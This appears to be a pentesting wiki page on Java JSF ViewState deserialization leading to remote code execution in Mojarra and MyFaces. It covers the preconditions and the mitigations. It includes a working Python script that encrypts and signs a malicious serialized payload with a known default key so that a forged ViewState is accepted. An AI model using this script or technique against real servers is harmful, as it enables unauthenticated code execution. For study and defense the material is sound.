Java JSF ViewState (.faces) Deserialization

Intro

After we had a look at we started analyzing the ViewStates of JSF implementations. is a User Interface (UI) technology for building web UIs with reusable components. JSF is mostly used for enterprise applications and a JSF implementation is typically used by a web application that runs on a Java application server like JBoss EAP or WebLogic Server. There are two well-known implementations of the JSF specification:

Oracle Mojarra (JSF reference implementation)
Apache MyFaces

Scope

This blog post focuses on the two JSF 2.x implementations: Oracle Mojarra (Reference Implementation) and Apache MyFaces. Older implementations (JSF 1.x) are also likely to be affected by the vulnerabilities described in this post. (JSF 2.0.x was initially released in 2009, the current version is 2.3.x).

The state of the ViewState

A difference between JSF and similar web technologies is that JSF makes use of ViewStates (in addition to sessions) to store the current state of the view (e.g. what parts of the view should currently be displayed). The ViewState can be stored on the server or the client. JSF ViewStates are typically automatically embedded into HTML forms as hidden field with the name javax.faces.ViewState. They are sent back to the server if the form is submitted.

Server-side ViewState

If the JSF ViewState is configured to sit on the server the hidden javax.faces.ViewState field contains an id that helps the server to retrieve the correct state. In the case of MyFaces that id is a serialized Java object!

Client-side ViewState

If the JSF ViewState is configured to sit on the client the hidden javax.faces.ViewState field contains a serialized Java object that is at least Base64 encoded. You might have realized by now that this is a potential road to disaster! That might be one of the reasons why nowadays JSF ViewStates are encrypted and signed before being sent to the client.The dangers of serialized Java objects

In 2015 at the AppSec California conference and held a presentation with the title . This presentation shed some light on forgotten problems with Java object serialization and led to the discovery of .

The attack on the ViewState

Let’s assume we have a web application with a JSF based login page:

That login page has a ViewState that is neither encrypted nor signed. So when we look at its HTML source we see a hidden field containing the ViewState:Unencrypted MyFaces ViewState:

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

If you decode the above ViewState using Base64 you will notice that it contains a serialized Java object. This ViewState is sent back to the server via POST when the form is submitted (e.g. click on Login). Now before the ViewState is POSTed back to the server the attacker replaces the ViewState with his own malicious ViewState using a gadget that’s already on the server’s classpath (e.g. InvokerTransformer from commons-collections-3.2.1.jar) or even a gadget that is not yet known to the public. With said malicious gadget placed in the ViewState the attacker specifies which commands he wants to run on the server. The flexibility of what an attacker can do is limited by the powers of the available gadgets on the classpath of the server. In case of the InvokerTransformer the attacker can specify which command line commands should be executed on the server. The attacker in our example chose to start a calculator on the UI of our Linux based server.

After the attacker has sent his modified form back to the server the JSF implementation tries to deserialize the provided ViewState. Now even before the deserialization of the ViewState has ended the command is executed and the calculator is started on the server:

Everything happened before the JSF implementation could have a look at the ViewState and decide that it was no good. When the ViewState was found to be invalid typically an error is sent back to the client like “View expired”. But then it’s already too late. The attacker had access to the server and has run commands. (Most real-world attackers don’t start a calculator but they typically deploy a remote shell, which they then use to access the server.)

=> All in all this example demonstrates a very dangerous unauthenticated remote code execution (RCE) vulnerability.

The preconditions for a successful attack

Now, what are the ingredients for a disaster?

unencrypted ViewState
Gadget on the classpath of the server
In case of Mojarra: ViewState configured to reside on the client
In case of MyFaces: ViewState configured to reside on the client or the server

Let’s have a look at those points in relation to the two JSF implementations.

Oracle Mojarra (JSF reference implementation)

As said before Oracle Mojarra is the JSF Reference Implementation (RI) but might not be known under that name. It might be known as Sun JSF RI, recognized with the java package name com.sun.faces or with the ambiguous jar name jsf-impl.jar.

Mojarra: unencrypted ViewState

So here’s the thing: Mojarra did not encrypt and sign the client-side ViewState by default in most of the versions of 2.0.x and 2.1.x. It is important to note that a server-side ViewState is the default in both JSF implementations but a developer could easily switch the configuration to use a client-side viewstate by setting the javax.faces.STATE_SAVING_METHOD param to client. The param name does in no way give away that changing it to client introduces grave remote code execution vulnerabilities (e.g. a client-side viewstate might be used in clustered web applications).

A vulnerable web application needs to have set javax.faces.STATE_SAVING_METHOD to 'client' to enable client-side view state saving. The default value on Enterprise Application Platform (EAP) 6.4.x is 'server'. If javax.faces.STATE_SAVING_METHOD is set to 'client' a mitigation for this issue is to encrypt the view by setting com.sun.faces.ClientStateSavingPassword in the application web.xml:
  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    <param-value>client</param-value>
  </context-param>

  <env-entry> 
    <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name> 
    <env-entry-type>java.lang.String</env-entry-type> 
    <env-entry-value>[some secret password]</env-entry-value>
  </env-entry>

By default Mojarra nowadays uses AES as encryption algorithm and HMAC-SHA256 to authenticate the ViewState.

Mojarra: ViewState configured to reside on the client

The default javax.faces.STATE_SAVING_METHOD setting of Mojarra is server. A developer needs to manually change it to client so that Mojarra becomes vulnerable to the above described attack scenario. If a serialized ViewState is sent to the server but Mojarra uses server side ViewState saving it will not try to deserialize it (However, a StringIndexOutOfBoundsException may occur).

Mojarra: Mitigation

When using Mojarra with a server-side ViewState nothing has to be done.

When using Mojarra < 2.2 and a client-side ViewState there are following possible mitigations:

Update Mojarra to 2.0.11-04 respectively 2.1.29-08.
Use a server-side ViewState instead of a client-side ViewState.
When using older Versions of Mojarra and an update or switching to a server-side ViewState is not possible: set a ViewState password as temporary solution and make sure it is the right parameter (not necessarily the one in the corresponding documentation)

For later Mojarra versions:

Check that the ViewState encryptions is not disabled via the param: com.sun.faces.disableClientStateEncryption

Apache MyFaces

Apache MyFaces is the other big and widely used JSF implementation.

MyFaces: unencrypted ViewState

Encryption is enabled by default. Note that encription must be used in production environments and disable it could only be valid on testing/development environments.

However, it is possible to disable ViewState encryption by setting the parameter org.apache.myfaces.USE_ENCRYPTION to false. (Also it would be possible to use encryption but manually set an easy guessable password). By default the ViewState encryption secret changes with every server restart.

By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.

MyFaces: ViewState configured to reside on the client

MyFaces: Mitigation

When using MyFaces make sure that encryption of the ViewState is not disabled (via org.apache.myfaces.USE_ENCRYPTION) regardless if the ViewState is stored on the client or the server.

Custom Encryption

If somehow you manage to steal the password used you can attack the web server encrypting and signing the payload with this script:

#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *

YELLOW = "\033[93m"
GREEN = "\033[32m"

def encrypt(payload,key):
    cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
    enc_payload = cipher.encrypt(payload)
    return enc_payload

def hmac_sig(enc_payload,key):
    hmac_sig = hmac.new(key, enc_payload, sha1)
    hmac_sig = hmac_sig.digest()
    return hmac_sig

key = b'JsF9876-'

if len(sys.argv) != 3 :
    print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
    with open(sys.argv[1], "rb") as f:
        payload = f.read()
        f.close()
    print(YELLOW + "[+] Encrypting payload")
    print(YELLOW + "  [!] Key : JsF9876-\n")
    enc_payload = encrypt(payload,key)
    print(YELLOW + "[+] Creating HMAC signature")
    hmac_sig = hmac_sig(enc_payload,key)
    print(YELLOW + "[+] Appending signature to the encrypted payload\n")
    payload = b64encode(enc_payload + hmac_sig)
    payload = parse.quote_plus(payload)
    print(YELLOW + "[*] Final payload : {}\n".format(payload))
    with open(sys.argv[2], "w") as f:
        f.write(payload)
        f.close()
    print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))

Final thoughts

=> One of the problems seems to be that there is not enough knowledge transfer between security researchers and developers who actually use and configure libraries that might be dangerous when configured in certain ways.

References

PreviousNodeJS - __proto__ & prototype Pollution NextJava DNS Deserialization, GadgetProbe and Java Deserialization Scanner

Last updated 3 years ago

Was this helpful?